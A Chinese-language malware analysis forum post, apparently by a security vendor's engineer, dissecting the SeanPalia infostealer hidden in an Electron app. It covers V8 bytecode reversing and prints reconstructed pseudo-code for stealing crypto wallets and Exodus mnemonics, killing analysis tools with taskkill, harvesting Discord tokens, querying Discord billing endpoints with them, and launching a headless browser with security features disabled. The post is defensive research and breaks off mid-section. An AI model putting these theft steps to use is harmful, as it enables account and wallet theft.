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[分享] 秒盗账号钱包!伪装Electron程序暗藏后门窃取加密数据

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火绒工程师
发表于 2026-5-8 17:29:40 | 显示全部楼层 |阅读模式
本帖最后由 火绒工程师 于 2026-5-8 17:29 编辑

近期,火绒威胁情报中心针对SeanPalia样本的分析发现,这是一款伪装为正常 Electron桌面程序运行的信息窃取木马。样本启动后,会通过main.js加载经过bytenode 编译的decrypted_payload.jsc,并以运行时恢复方式释放主payload。随后,程序会先结束抓包、调试和逆向分析工具,并批量关闭浏览器进程以释放数据库文件锁;之后通过系统性扫描浏览器、Discord、桌面钱包与浏览器钱包扩展等高价值目标,读取Login Data、Web Data、Cookies、History、Bookmarks、Local Storage/leveldb 等本地敏感数据,同时恢复Local State中的Chromium密钥并解密受保护的数据。

进一步分析显示,该样本还会额外下载并装载第二阶段payload2,用于处理Chromium App-Bound等更难直接提取的受保护数据。在完成本地窃取后,样本还会调用Discord API富化账号资料,补充支付方式、礼品码、好友和 guild信息,并收集公网 IP、主机硬件、系统信息以及游戏 / 工具存在性等受害者画像。最终,所有窃取结果会被加密、压缩、归档并上传到多个临时文件平台,同时将下载链接、压缩包密码和受害者摘要回传至攻击者控制端,形成一条完整的信息窃取、画像评估与集中出网链路,最终造成个人隐私泄露、账号被盗、数字钱包资产损失等严重后果。目前,火绒安全产品已实现对该恶意样本的拦截与查杀。


查杀图



技术背景
Electron 是一种基于 Chromium 与 Node.js 的跨平台桌面应用框架,凭借开发成本低、生态完善以及可直接调用系统能力等特点,被大量桌面软件采用。但与此同时,Electron 应用通常会携带完整的 Node.js 运行环境,并通过 ASAR、JavaScript、V8 字节码或原生模块加载业务代码,这也使其逐渐成为攻击者投毒和隐藏恶意逻辑的载体。

SeanPalia 正是这类风险的典型样本。该程序表面上伪装为正常 Electron 应用,实际在启动后通过入口脚本加载恶意 V8 字节码载荷,并进一步执行浏览器数据窃取、Discord 信息窃取、加密货币钱包扫描、受保护数据解密、数据打包以及多通道上传等恶意行为。综合其执行链路与业务目标判断,该样本属于 Electron 形态的信息窃取木马。

流程图如下:


一、样本分析
1. 初始阶段
初始化时期目的:样本在启动阶段会准备 Electron 与 Node.js 执行环境,并通过入口脚本加载核心 payload,从而让后续恶意模块能够在受害者系统中执行。

Electron 基础结构:Electron 由 Chromium 与 Node.js 组成,开发者可以使 HTML、CSS JavaScript 构建跨平台桌面程序。一个基础 Electron 应用通常包含 package.json、main.js 和页面文件,并由 Electron 可执行文件负责启动 。

Electron 的优势主要包括:
● 兼容性较好:应用绑定指定版本 Chromium,开发者无需额外处理大量浏览器兼容问题。
● Node.js 能力完整:前端页面或主进程可调用文件系统、进程、网络、系统信息等 Node.js API。
● 网络访问灵活:可直接使用 Node.js 网络模块 npm 依赖发起请求。
● 扩展能力强:可通过 npm 模块或原生扩展调用更多系统能力。

Electron 投毒原理:Electron 应用通常会将业务代码打包到 resources 目录下的 ASAR 文件中。攻击者可通过解包 ASAR 后篡改源码或依赖、替换入口脚本、植入加载器,或者利用调试模式注入恶意代码,从而实现命令执行、持久化、数据窃取或后门控制。Electron 程序带有可信数字签名,若投毒过程未改动外层主程序可执行文件,签名状态不受破坏,则极易降低用户安全警惕。

Electron 主程序图:




resources 下的 ASAR 文件图:



解包后得到 main.js、配置文件和被引用模块图:



分析 main.js 后发现,其主要作用并非正常业务逻辑,而是作为 payload 加载器继续引入后续恶意代码:
payload是由9Bgr5Cugh6G3UuU1.enc aes解密后得到的V8 Bytecode文件


9Bgr5Cugh6G3UuU1.enc图:





V8 Bytecode jsc文件图:







二、V8 Bytecode 反汇编 / 反编译过程
V8 是什么?
V8是由Google 开发的高性能 JavaScript 引擎,最初用于 Chrome 浏览器,现在也被 Node.js 使用。
它的主要职责是把 JavaScript 源码执行成机器能理解的指令,让浏览器或服务器快速运 JS 代码:
Bytecode 执行:源码可以被编译为 V8 bytecode,别人拿到文件后难以直接看懂或运行。


怎么反编译?
先把 V8 序列化出来的字节码结构、常量池 BytecodeArray 打印出来,再据此做进一步反混淆和语义恢复。对 SeanPalia 这类 Electron/Node 样本,这一步的价值主要有四点:
● 确认样本使用的 V8 版本,保证后续字节码解析口径一致。
● 直接拿到 SharedFunctionInfo、常量池、对象模板等运行时结构。
● 绕过 bytenode/JSC 只给缓存字节码、不带原始源码的问题。
● 可以配合[原创]V8 Bytecode反汇 反编译不完全指南-逆向工程-看雪安全社区|专业技术交流与安全研究论坛配合阅读。(点击文章底部参考链接)。


2.1 总体思路
对这类 .jsc 文件,最稳的做法通常是:
1. 确认 Electron / Node / V8 版本
2. 拉取对应版本的 V8 源码
3. 在 V8 内部打印 SharedFunctionInfo、BytecodeArray、FixedArray 等结构
4. 编译一个最小的字节码加载器,把目标 .jsc 当作 CachedData 喂给 V8
5. 收集反汇编输出,再进入后续脚本化清洗、重命名和业务还原
这一步更准确地说是“反汇编 + 结构化打印”,而不是传统意义上的完整反编译。


2.2 拉取对应版本的 V8 源码
先安装最基本的构建依赖:
  1. apt-get install ninja-build clang pkg-config
复制代码

安装 depot_tools:
  1. mkdir ~/v8tools
  2. cd ~/v8tools
  3. git clone [url]https://chromium.googlesource.com/chromium/tools/depot_tools.git[/url]
  4. export PATH=~/v8tools/depot_tools:$PATH
复制代码

拉取 V8 源码:
  1. mkdir ~/v8
  2. cd ~/v8
  3. fetch v8
  4. cd v8
复制代码

切换到与目标字节码匹配的版本。本文样本分析时使用的是:
  1. git checkout refs/tags/10.4.132.24
  2. gclient sync -D
复制代码

这里版本必须尽量对齐目标 Electron/Node 所携带 V8。版本不匹配时,即使能绕过部分校验,输出结构也很容易错位。


2.3 修改 V8 以打印字节码结构
V8 内部本来就具备 Disassemble()、对象打印和 SharedFunctionInfoPrint() 能力,但默认这些能力主要服务于调试构建和源码调试。为了让它直接消费 .jsc 并吐出结构,我们需要做几处定点修改:

1. 放宽反序列化检查并打印 SharedFunctionInfo
修改 src/snapshot/code-serializer.cc:
● CodeSerializer::Deserialize 成功拿到结果后打印 SharedFunctionInfo
● SerializedCodeData::SanityCheck() 中临时直接返回成功,绕过一部分缓存校验。

插入的核心打印逻辑如下:
  1. std::cout << "\nStart SharedFunctionInfo\n";   
  2.     result->SharedFunctionInfoPrint(std::cout);   
  3.     std::cout << "\nEnd SharedFunctionInfo\n";   
  4.     std::cout << std::flush;
复制代码

这里 Start SharedFunctionInfo / End SharedFunctionInfo 最好保持稳定,方便后续脚本按标记切分输出。


2. 打印 BytecodeArray
修改 src/diagnostics/objects-printer.cc,在 SharedFunctionInfo::SharedFunctionInfoPrint(std::ostream& os) 中:
● 注释 PrintSourceCode(os);
● 在合适位置补上 BytecodeArray 打印
核心逻辑如下:
  1. os << "\nStart BytecodeArray\n";   
  2.     this->GetActiveBytecodeArray().Disassemble(os);   
  3.     os << "\nEnd BytecodeArray\n";   
  4.     os << std::flush;
复制代码

这样输出里就不只是函数壳,还能直接拿 Ignition 字节码指令流。


3. 打印常量池和对象模板
修改 src/objects/objects.cc,重点是 HeapObject::HeapObjectShortPrint 里几个常见结构分支:
● FIXED_ARRAY_TYPE
● FIXED_DOUBLE_ARRAY_TYPE
● OBJECT_BOILERPLATE_DESCRIPTION_TYPE
● SHARED_FUNCTION_INFO_TYPE

可以给这些分支加上带分隔符的打印,例如:
  1. os << "\nStart FixedArray\n";   
  2.     FixedArray::cast(*this).FixedArrayPrint(os);   
  3.     os << "\nEnd FixedArray\n";
复制代码

以及:
  1. os << "\nStart ObjectBoilerplateDescription\n";   
  2.   ObjectBoilerplateDescription::cast(*this).ObjectBoilerplateDescriptionPrint(os);   
  3. os << "\nEnd ObjectBoilerplateDescription\n";
复制代码

通过该方式开展后续逆向分析时,就能把常量池、对象字面量模板和函数元数据一起还原出来,而不是只看到一串指令。


4. 避免字符串打印被截断
修改 src/objects/string.cc String::StringShortPrint,把过长字符串的截断逻辑临时关掉。否则很多 URL、混淆字符串表、脚本片段只会显示前半截,后面还需额外回补。


5. 需要时放宽 magic number 校验
如果样本字节码和本地 V8 版本只接近、不完全一致,可以进一步修 src/snapshot/deserializer.cc 中的 magic number 检查。常见做法是临时去掉:
  1. CHECK_EQ(magic_number_, SerializedData::kMagicNumber);
复制代码


2.4 最小字节码加载器
改完 V8 后,还需要一个极小的加载器把目标 .jsc 输入到 ScriptCompiler::CachedData。示例:
  1. #include <fstream>
  2. #include <iostream>
  3. #include <vector>
  4. #include "libplatform/libplatform.h"
  5. #include "v8.h"
  6. using namespace v8;
  7. static Isolate* isolate = nullptr;
  8. static void loadBytecode(uint8_t* bytecodeBuffer, int length) {
  9.   ScriptCompiler::CachedData* cachedData =
  10.       new ScriptCompiler::CachedData(bytecodeBuffer, length);
  11.   ScriptOrigin origin(isolate, String::NewFromUtf8Literal(isolate, "code.jsc"));
  12.   ScriptCompiler::Source source(
  13.       String::NewFromUtf8Literal(isolate, ""dummy""),
  14.       origin,
  15.       cachedData);
  16.   ScriptCompiler::CompileUnboundScript(
  17.       isolate,
  18.       &source,
  19.       ScriptCompiler::kConsumeCodeCache);
  20. }
  21. static void readAllBytes(const std::string& path, std::vector<char>& buffer) {
  22.   std::ifstream input(path, std::ios::binary);
  23.   input.seekg(0, input.end);
  24.   size_t length = input.tellg();
  25.   input.seekg(0, input.beg);
  26.   if (length > 0) {
  27.     buffer.resize(length);
  28.     input.read(buffer.data(), length);
  29.   }
  30. }
  31. int main(int argc, char* argv[]) {
  32.   V8::SetFlagsFromString("--no-lazy --no-flush-bytecode");
  33.   V8::InitializeICU();
  34.   std::unique_ptr<Platform> platform = platform::NewDefaultPlatform();
  35.   V8::InitializePlatform(platform.get());
  36.   V8::Initialize();
  37.   Isolate::CreateParams createParams;
  38.   createParams.array_buffer_allocator =ArrayBuffer::Allocator::NewDefaultAllocator();
  39.   isolate = Isolate::New(createParams);
  40.   Isolate::Scope isolateScope(isolate);
  41.   HandleScope handleScope(isolate);
  42.   std::vector<char> data;
  43.   readAllBytes(argv[1], data);
  44.   loadBytecode(reinterpret_cast<uint8_t*>(data.data()), static_cast<int>(data.size()));
  45. }
复制代码

这段程序本身不负责“反混淆”,仅负责将.jsc文件安全传入经篡改的V8引擎,并触发前面加进去的结构化打印。


2.5 编译 V8 与加载器
先生成构建目录:
  1. ./tools/dev/v8gen.py x64.release
复制代码

然后编辑 out.gn/x64.release/args.gn,常用参数如下:
  1. dcheck_always_on = false   
  2.     is_component_build = false   
  3.     is_debug = false   
  4.     target_cpu = "x64"   
  5.     use_custom_libcxx = false   
  6.     v8_monolithic = true   
  7.     v8_use_external_startup_data = false   
  8.     v8_static_library = true   
  9.     v8_enable_disassembler = true   
  10.     v8_enable_object_print = true
复制代码

如果目标 Node/Electron 携带的 V8,必要时还要根据版本处理压缩指针或沙箱相关配置。例如某些环境下需要:
  1. v8_enable_pointer_compression = false
复制代码

再编译:
  1. ninja -C out.gn/x64.release v8_monolith
复制代码

最后把前面的最小加载器链接到编译产物上,执行方式就是:
  1. ./v8dasm target.jsc > disasm.txt
复制代码


2.6 这一阶段的实际产出
完成后,通常可以得到这些材料:
● SharedFunctionInfo
● BytecodeArray
● FixedArray 常量池
● ObjectBoilerplateDescription
● 长字符串、URL、对象模板、函数引用关系


再通过 v8View 对前面导出的 disasm.txt 做后处理,就能得到对应的 .js 文件。使用方式只需要理解成三步:
1. 先用修改后的 V8 导出 disasm.txt
2. 再把 disasm.txt 交给 v8View
3. v8View 输出可继续分析的 .js 文件



三、decrypted_payload.jsc
decrypted_payload.jsc反编译后是一个装载层,它装载 BAVSItA 这一大段混淆的 js 代码业务模块。
从当前分析结果看,decrypted_payload.jsc 本身更像恢复器 / 装载层,它的作用不是直接承载完整恶意业务,而是把真正的主逻辑 body 恢复出来,再通过 new Function("BAVSItA", "deps", body) 动态构造入口函数。这里的 BAVSItA 才是当前分析到的那份大块混淆主文件,也是后续所有浏览器、Discord、钱包、上传和 payload2 逻辑真正挂载的地方。

代码:
  1. // 非可执行伪代码:只用于说 decrypted_payload.jsc 的装载关系   
  2.     (function bootstrapRecoveredJsc() {   
  3.       const BAVSItA = { /* 当前混淆主文件在运行时对应的配置/上下文对象 */ };   
  4.       const deps = { /* fs / path / crypto / dpapi / http / child_process 等依赖 */ };   
  5.          
  6.       // jsc 里恢复出来的是一整块 body 文本   
  7.       const body = "/* recovered body text */";   
  8.          
  9.       // decrypted_payload.jsc 自己不直接展开主业务,   
  10.       // 而是只负责把恢复出的 body 交给 new Function 组出入口   
  11.       const recoveredEntry = new Function("BAVSItA", "deps", body);   
  12.          
  13.       // 真正进入主逻辑的是 BAVSItA,而不是 decrypted_payload.jsc 自己   
  14.       return recoveredEntry(BAVSItA, deps);   
  15.     })();   
复制代码

这里需要特别区分两层:
● decrypted_payload.jsc
○ 负责恢复 body
○ 负责调用 new Function("BAVSItA", "deps", body)
○ 负责把依赖注入进去

● BAVSItA
○ 才是当前那份真正承载主业务逻辑的混淆文件
○ 内部再继续展开反分析、目标发现、浏览器数据采集、钱包采集、Discord 富化、payload2 下载装载、归档上传与 C2 回传。
因此,对 SeanPalia 来说,decrypted_payload.jsc 更准确的定位不是“完整恶意逻辑本体”,而是恶意主逻辑的恢复与装载入口;真正需要持续反混淆和语义分析的核心对象,是传入 new Function(...) BAVSItA 主体。



四、恶意行为详解:BAVSItA 混淆主体
前置说明: 反混淆对应文件
导出BAVSItA得到业务混淆文件图:



文件内容图:






后面的业务代码都是反混淆后的再进行修饰的代码,这里以钱包总入口为例:

反混淆过的原始代码:
  1. async function collectBrowserWalletTokenBundle(...e67guKE){
  2.   var xIlSGc={
  3.     Psj1cL(...e67guKE){return collectChromiumLoginDataByTarget(...e67guKE)},
  4.     Mo7Wwi(...e67guKE){return _SHQR5(...e67guKE)},
  5.     eA6n_l6(...e67guKE){return PX8GL2B(...e67guKE)},
  6.     PemkRM(...e67guKE){return collectDiscoveredDiscordTokenFiles(...e67guKE)}
  7.   };
复制代码

这个 xIlSGc 可以先理解成一个局部“结构体 / 转发对象”。把浏览器登录数据、桌面钱包、浏览器钱包扩展、token 文件这几类子流程统一挂载后,再传给下游函数处理。


字段对应关系:
● Psj1cL
○ 类型:局部转发方法名
○ 实际调用:collectChromiumLoginDataByTarget(...)
○ 最终业务名:collectChromiumLoginDataByTarget

● Mo7Wwi
○ 类型:局部转发方法名
○ 实际调用:_SHQR5(...)
○ 说明:_SHQR5 这一支处理的是桌面钱包目标路径
○ 最终业务名:collectDesktopWalletArtifacts

● eA6n_l6
○ 类型:局部转发方法名
○ 实际调用:PX8GL2B(...)
○ 说明:PX8GL2B 这一支处理的是浏览器钱包扩展目标路径
○ 最终业务名:collectBrowserExtensionWalletArtifacts

● PemkRM
○ 类型:局部转发方法名
○ 实际调用:collectDiscoveredDiscordTokenFiles(...)
○ 最终业务名:collectDiscoveredDiscordTokenFiles


前者只是当前局部对象里的槽位名,后者才是真正被调用的下游函数。后面的语义名,则是根据这些下游函数实际处理的目标对象总结出来的。


整条推导链可以按下面这条顺序理解:
1. 先从外层 wrapper 看调用关系
Mo7Wwi -> _SHQR5
eA6n_l6 -> PX8GL2B

2. 再看这两个真实下游函数分别处理什么目标集合
_SHQR5 处理桌面钱包目标路径
PX8GL2B 处理浏览器钱包扩展目标路径

3. 最后按它们实际处理的对象,给出业务语义名
_SHQR5 -> collectDesktopWalletArtifacts
PX8GL2B -> collectBrowserExtensionWalletArtifacts

4. 再把局部转发名替换成可读函数名,得到整理后的版本
  1. async function collectBrowserWalletTokenBundle(...e67guKE){
  2.   var xIlSGc={
  3.     collectChromiumLoginDataByTarget(...e67guKE){return collectChromiumLoginDataByTarget(...e67guKE)},
  4.     collectDesktopWalletArtifacts(...e67guKE){return collectDesktopWalletArtifacts(...e67guKE)},
  5.     collectBrowserExtensionWalletArtifacts(...e67guKE){return collectBrowserExtensionWalletArtifacts(...e67guKE)},
  6.     collectDiscoveredDiscordTokenFiles(...e67guKE){return collectDiscoveredDiscordTokenFiles(...e67guKE)}
  7.   };
  8.         return _hBIlH(e67guKE, xIlSGc);
  9. }
复制代码


1. 钱包与扩展资产采集
这一部分在代码内部主要做三件事:先枚举硬编码的钱包路径和浏览器扩展路径,再把命中的目录、配置文件和相关资产复制进归档区,最后对少数高价值钱包继续做更深一层的数据恢复。像 Exodus 这类目标,代码不只是判断目录是否存在,还会继续读 seed.seco、passphrase.json 一类文件,并调用助记词/密码恢复逻辑,尽量把“目录存在”提升成“可直接利用的钱包材料”


1.1 钱包总入口
功能解析:
1. 统一协调多类高价值资产来源
2. 不只拿钱包目录,也顺带纳入浏览器凭据 token 文件:
3. 是“钱包与资产归档”主入口


运行结果:
● 形成桌面钱包、浏览器钱包扩展、凭据与 token 文件的统一资产归档


动态参数:
● 入口动态依赖:
○ 浏览器登录数据归档结
○ 桌面钱包目录
○ 浏览器钱包扩展目
○ 已发 token 文件


参数:
● collectChromiumLoginDataByTarget
○ 浏览器登录数据采集入
● collectDesktopWalletArtifacts
○ 桌面钱包目录采集
● collectBrowserExtensionWalletArtifacts
○ 浏览器钱包扩展采
● collectDiscoveredDiscordTokenFiles
○ token 文件补充采集


代码:
  1. /**
  2. * 组合浏览器登录数据、桌面钱包、浏览器钱包扩展、token 文件四类来源
  3. */
  4. // 浏览器凭据与钱包资产会被统一合并进一条高价值资产收集链
  5. async function collectBrowserWalletTokenBundle(...e67guKE){
  6.   var xIlSGc={
  7.     collectChromiumLoginDataByTarget(...e67guKE){return collectChromiumLoginDataByTarget(...e67guKE)},
  8.     collectDesktopWalletArtifacts(...e67guKE){return collectDesktopWalletArtifacts(...e67guKE)},
  9.     collectBrowserExtensionWalletArtifacts(...e67guKE){return collectBrowserExtensionWalletArtifacts(...e67guKE)},
  10.     collectDiscoveredDiscordTokenFiles(...e67guKE){return collectDiscoveredDiscordTokenFiles(...e67guKE)}
  11.   };
  12.   return _hBIlH(e67guKE, xIlSGc);
  13. }
复制代码


1.2 Exodus 助记词 / 密码恢复
功能解析:
1. 检查 Exodus 是否存在
2. 不只复制目录,还尝试深入恢复 mnemonic和password
3. 恢复成功后再组装成上报内容


运行结果:
● 可能得到 mnemonic
● 可能得到 password
● 也可能无结果返回


读取目标 / 请求目标:
  1. C:\Users\Administrator\AppData\Roaming\exodus\exodus.wallet\seed.secopassphrase.json
复制代码


动态参数:
● 关键动态依赖:
○ seco-file
○ bitcoin-seed
○ bip39


参数:
● readPassphraseJson
○ 读取钱包相关配置
● collectPasswordIfNeeded
○ 必要时收集口
● decodeMnemonic
○ 尝试恢复助记


代码:
  1. /**   
  2.      * 检 Exodus 钱包并尝试恢 mnemonic / password     
  3.      */   
  4.     async function extractExodusMnemonicAndPassword(deps) {   
  5.       try {   
  6.         // 读取 Exodus  passphrase 配置或相关钱包元信息   
  7.         const passphraseInfo = await deps.readPassphraseJson();   
  8.          
  9.         // 某些情况下需要先拿到用户口令,才能继续解密内部内     
  10.         const password = await deps.collectPasswordIfNeeded();   
  11.          
  12.         // 尝试把钱包内部数据还原成助记     
  13.         const mnemonic = await deps.decodeMnemonic(passphraseInfo, password);   
  14.         if (!mnemonic && !password) return null;   
  15.          
  16.         return { mnemonic: mnemonic ?? undefined, password: password ?? undefined };   
  17.       } catch {   
  18.         return null;   
  19.       }   
  20.     }   
复制代码


2. 反分析 / 反调试
这一部分在代码内部会先准备一长串目标进程名,然后循环调用 taskkill /IM "<name>" /F /T 去结束抓包、调试、逆向、监控和部分浏览邮件客户端进程。实现上它不会因为单个结束失败就停下,而是继续处理下一个目标,并在每轮之间插入短延时。这样做一方面是为了降低被分析到的概率,另一方面也是为了释放浏览器数据库、配置文件和会话文件的占用锁。


2.1 结束目标进程
功能解析:
1. 构造一大批目标进程名列表
2. 对每个进程执 taskkill /IM "<name>" /F /T
3. 即使单个结束失败,也不会中断整体流程
4. 每轮之间加入短延时,避免系统调用过密


运行结果:
● 强制关闭浏览器、邮件客户端及部分分析相关程序
● 释放数据库和配置文件锁


读取目标 / 请求目标:
  1. taskkill /F /T /IM "HTTP Toolkit.exe"   
  2.     taskkill /F /T /IM "HTTPDebuggerUI.exe"   
  3.     taskkill /F /T /IM "HTTPDebuggerSvc.exe"   
  4.     taskkill /F /T /IM "HTTPDebuggerPro.exe"   
  5.     taskkill /F /T /IM "HTTP Debugger Pro.exe"
复制代码


动态参数:
● 关键命令
○ taskkill /IM "<processName>" /F /T
● 关键运行条件
○ processName
○ throttleMs


参数:
● processNames
○ 一大批目标进程名数组
● execCommand
○ 实际执行 taskkill 的命令调用函数
● delay
○ 每次结束进程后的节流等待函数
● throttleMs
○ 节流等待时间


代码:
  1. /**   
  2.      * 对一大批目标进程执行 taskkill /F /T     
  3.      */   
  4.     async function terminateTargetProcesses(deps) {   
  5.       for (const processName of deps.processNames) {   
  6.         try {   
  7.           // 对每个目标进程执行强制结     
  8.           await deps.execCommand(`taskkill /IM "${processName}" /F /T`);   
  9.         } catch {   
  10.           // 单个失败不影响整体清     
  11.         }   
  12.          
  13.         // 每轮之后稍作等待,避免系统调用过于密     
  14.         await deps.delay(deps.throttleMs);   
  15.       }   
  16.     }   
复制代码


3. 目标发现与 Discord 数据窃取
这一部分在代码内部先做目标枚举,再做 token 提取,最后做账号富化。它会按硬编码路径检 Discord 安装目录、浏览器 profile、Local State Local Storage\\leveldb,把存在的目标组织成后续采集列表;随后在 .ldb/.log 文本里匹配普通的 Discord 用户认证 token dQw4w9WgXcQ 前缀密文 token,并在需要时结合 Local State 恢复出的密钥做解密。拿 token 后,代码还会继续调 Discord API 拉用户资料、支付方式、礼品码、好友和 guild 信息,把原始 token 变成更有价值的账号画像。


3.1 发现 token
功能解析:
1. 遍历 Discord / 浏览器本地存 LevelDB
2. 正则匹配经典 token、MFA token、宽匹配 token
3. 若命中新格式密文 token,再结合 Local State key 解密
4. 去重后汇总为 token 集


运行结果:
● 产出后续所 Discord API 利用所需 token


读取目标 / 请求目标:
  1.     <Discord or Browser>\Local Storage\leveldb\*.ldb   
  2.     <Discord or Browser>\Local Storage\leveldb\*.log   
  3.     <Discord>\Local State
复制代码


动态参数:
● 已确 Discord 客户端路径:
○ C:\Users\Administrator\AppData\Roaming\discord
○ C:\Users\Administrator\AppData\Roaming\discordcanary
○ C:\Users\Administrator\AppData\Roaming\discordptb
○ C:\Users\Administrator\AppData\Roaming\discorddevelopment

● 关键动态参数:
○ 普 token regex
○ dQw4w9WgXcQ 前缀密文 token
○ Local State 中恢复出的解 key


参数:
● targets
○ LevelDB 路径和可 Local State 路径

● listLevelDbFiles
○ 枚举 .ldb/.log

● readText
○ 读文件文本

● regexFindAll
○ 匹配 token 模式

● readLocalStateMasterKey
○ 读取解密 key

● decryptDiscordToken
○ 解新格式 token


代码:
  1. [indent]/*扫描 .ldb / .log,匹配普 token;如果是 Discord 安装根,还尝试解密新格式 token */    [/indent][indent]    async function discoverDiscordTokensAcrossTargets(targets: Array<{[/indent][indent]levelDbPath:       string; localStatePath?: string }>, deps) {    [/indent][indent]      const discoveredTokens = new Set<string>();    [/indent][indent]      // 真实实现会遍历每 LevelDB 文件,分别匹配普 token 和加 token    [/indent][indent]      // 如果目标 Discord 客户端目录,还会读取 Local State  dQw4w9WgXcQ 前缀 token 解密    [/indent][indent]      return [...discoveredTokens];    [/indent][indent]    }[/indent]
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3.2 账号富化
功能解析:
1. token users/@me 确认账号可用
2. 并发补全支付 FA、礼品码、好友、guild 管理权限等信息
3. 把“一 token”升级成“一个高价值账号画像”


运行结果:
● 产出可直接用于筛选高价 Discord 账户的情报


读取目标 / 请求目标:
  1. GET [url]https://discord.com/api/v9/users/@me[/url]   
  2.     GET [url]https://discord.com/api/v9/users/@me/billing/payment-sources[/url]   
  3.     GET [url]https://discord.com/api/v9/users/@me/outbound-promotions/codes[/url]   
  4.     GET [url]https://discord.com/api/v9/users/@me/relationships[/url]   
  5.     GET [url]https://discord.com/api/v9/users/@me/guilds?with_counts=true[/url]
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动态参数:
● 入口动态参数:
○ 已发现的 Discord token 列表

● 关键请求头:
○ Authorization: <stolen token>


参数:
● tokens
○ 已发现的 Discord token 列表

● fetchCurrentUser
○ 拉用户基本资料

● fetchBillingSummary
○ 拉支付信息

● fetchMfaStatus
○ 2FA 状态

● fetchGiftCodes
○ 拉促销/礼品码

● collectDiscordFriends
○ 拉好友列表

● fetchDiscordHighValueGuilds
○ 拉高价 guild


代码:
  1.        /**   
  2.      *  token  users/@me,再并发 billing FA、礼品码、好友和高价 guild     
  3.      */   
  4.     async function enrichDiscordUserProfile(tokens: string[], deps) {   
  5.       const profiles: any[] = [];   
  6.          
  7.       for (const token of tokens) {   
  8.         // 先用 users/@me 校验 token 是否有效,并拿到基础账号资料   
  9.         const currentUser = await deps.fetchCurrentUser(token);   
  10.         if (!currentUser) continue;   
  11.          
  12.         // 真实实现还会并发拉支付方式 FA、礼品码、好友和高价 guild   
  13.         profiles.push(currentUser);   
  14.       }   
  15.          
  16.       return profiles;   
  17.     }   
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4. 无头浏览器辅助执行链
这一部分在代码内部会先解码内置的浏览器可执行文件路径表,确认 Chrome、Brave、Edge、ChromeBeta 等目标是否存在,然后拼出一组很长的 headless 启动参数去实际拉起浏览器。参数里会主动关闭扩展、同步、站点隔离、后台联网、Web 安全等能力,因此这条链的目的不是正常自动化测试,而是尽量在一个受控、低安全限制的浏览器环境里执行后续辅助动作。


4.1 Chrome / Edge 头模式启动链
功能解析:
1. 从内置浏览器可执行文件映射表里解 Chrome / Edge 等目标路径
2. 检查目标浏览器是否存在
3. 组装一组带大量安全禁用参数 headless 启动命令
4. 将这些任务交给后 helper 实际拉起


运行结果:
● 形成 Chrome / Edge 的头模式浏览器启动任务
● 可能用于后续会话注入、页面访问或 session 窃取辅助


读取目标 / 请求目标:
  1. chrome.exe --headless=new --no-sandbox --disable-setuid-sandbox --disable-gpu   
  2.       --disable-software-rasterizer --disable-webgl --disable-web-security   
  3.       --disable-client-side-phishing-detection --disable-domain-reliability   
  4.       --disable-site-isolation-trials --disable-sync --disable-translate   
  5.       --disable-notifications --disable-permissions-api --disable-extensions   
  6.       --disable-default-apps --disable-component-update   
  7.       --disable-background-timer-throttling --disable-renderer-backgrounding   
  8.       --disk-cache-size=1 --media-cache-size=1 --no-first-run   
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动态参数:
● 调用链:
○ qT2G09
○ tVcLge
○ launchOrSpawnDecodedBrowserExecutable
○ S1roXJN

● 浏览器路径来源:
○ browserExecutableMapBase64

● 关键运行条件
○ 可执行文件存在性检
○ 浏览器路 Base64 解码

● 关键启动标志
○ --headless=new
○ --disable-web-security
○ --disable-extensions
○ --no-sandbox


参数:
● browserTarget
○ 浏览器目标描述对象

● decodeBrowserExecutableMapEntries
○ 解码内置浏览器路径映射表格

● pathExists
○ 检查浏览器可执行文件是否存在

● spawnBrowserTask
○ 实际拉起浏览器任务


代码:
  1. /**   
  2.      * 解码浏览器路径映射,检查可执行文件是否存在,并构 headless 启动任务     
  3.      */   
  4.     async function launchOrSpawnDecodedBrowserExecutable(browserTarget: { browserName: string; executableKey: string }, deps) {   
  5.       // 从内 Base64 映射表恢复出浏览器可执行文件路径   
  6.       const executableMap = deps.decodeBrowserExecutableMapEntries(deps.browserExecutableMapBase64);   
  7.       const executablePath = executableMap[browserTarget.executableKey];   
  8.       if (!executablePath) return [];   
  9.          
  10.       // 目标浏览器不存在就直接结     
  11.       if (!(await deps.pathExists(executablePath))) return [];   
  12.          
  13.       // 组装头模式浏览器启动参数,重点是关闭一大批安全与隔离功     
  14.       const args = [   
  15.         "--headless=new",   
  16.         "--no-sandbox",   
  17.         "--disable-setuid-sandbox",   
  18.         "--disable-gpu",   
  19.         "--disable-software-rasterizer",   
  20.         "--disable-webgl",   
  21.         "--disable-web-security",   
  22.         "--disable-client-side-phishing-detection",   
  23.         "--disable-domain-reliability",   
  24.         "--disable-site-isolation-trials",   
  25.         "--disable-sync",   
  26.         "--disable-translate",   
  27.         "--disable-notifications",   
  28.         "--disable-permissions-api",   
  29.         "--disable-extensions",   
  30.         "--disable-default-apps",   
  31.         "--disable-component-update",   
  32.         "--disable-background-timer-throttling",   
  33.         "--disable-renderer-backgrounding",   
  34.         "--disk-cache-size=1",   
  35.         "--media-cache-size=1",   
  36.         "--no-first-run",   
  37.       ];   
  38.          
  39.       // 真实链路会把任务继续交给更低 helper 或直 spawn   
  40.       return [await deps.spawnBrowserTask(executablePath, args)];   
  41.     }   
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4.2 动态命中与主线作用
功能解析:
1. 运行时会先从 browserExecutableMapBase64 中恢复出少数硬编码浏览器可执行文件路径
2. 这条链当前不是“所有被扫描浏览器都启动 headless”,而是优先尝试 Chrome / Brave / Edge / ChromeBeta 这一小组可执行文件
3. 动态证据已经证明它实际命中 Edge,通过附加大量安全削弱参数拉起进程
4. 因此这条链更像浏览器侧辅助执行器,用来借本地浏览器环境完成后续页面访问、会话复用或注入型操作,而不是普通本地数据库读取逻辑


运行结果:
● 已确认主程序当前运行中能真实拉起 msedge.exe
● 说明这条 headless 链不是纯静态死代码


读取目标 / 请求目标:
  1. browserExecutableMapBase64:   
  2.     - Chrome   
  3.     - Brave   
  4.     - Edge   
  5.     - ChromeBeta   
  6.          
  7.     动态命中:   
  8.     C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
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动态参数:
● Stage14 主文件内置浏览器路径表:
○ Chrome
○ Brave
○ Edge
○ ChromeBeta

● 动态存在性检查命中:
○ C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

● 动态事件:
○ FS_EXISTS
○ SPAWN

● 已捕获启动参数除核心标志外,还包含:
○ --disable-webgl2
○ --disable-accelerated-2d-canvas
○ --disable-accelerated-video-decode
○ --mute-audio
○ --hide-scrollbars
○ --disable-background-networking


参数:
● browserExecutableMapBase64
○ 内置 Base64 编码浏览器路径字典

● decodedExecutablePath
○ 解码后的浏览器可执行文件路径

● spawnArgs
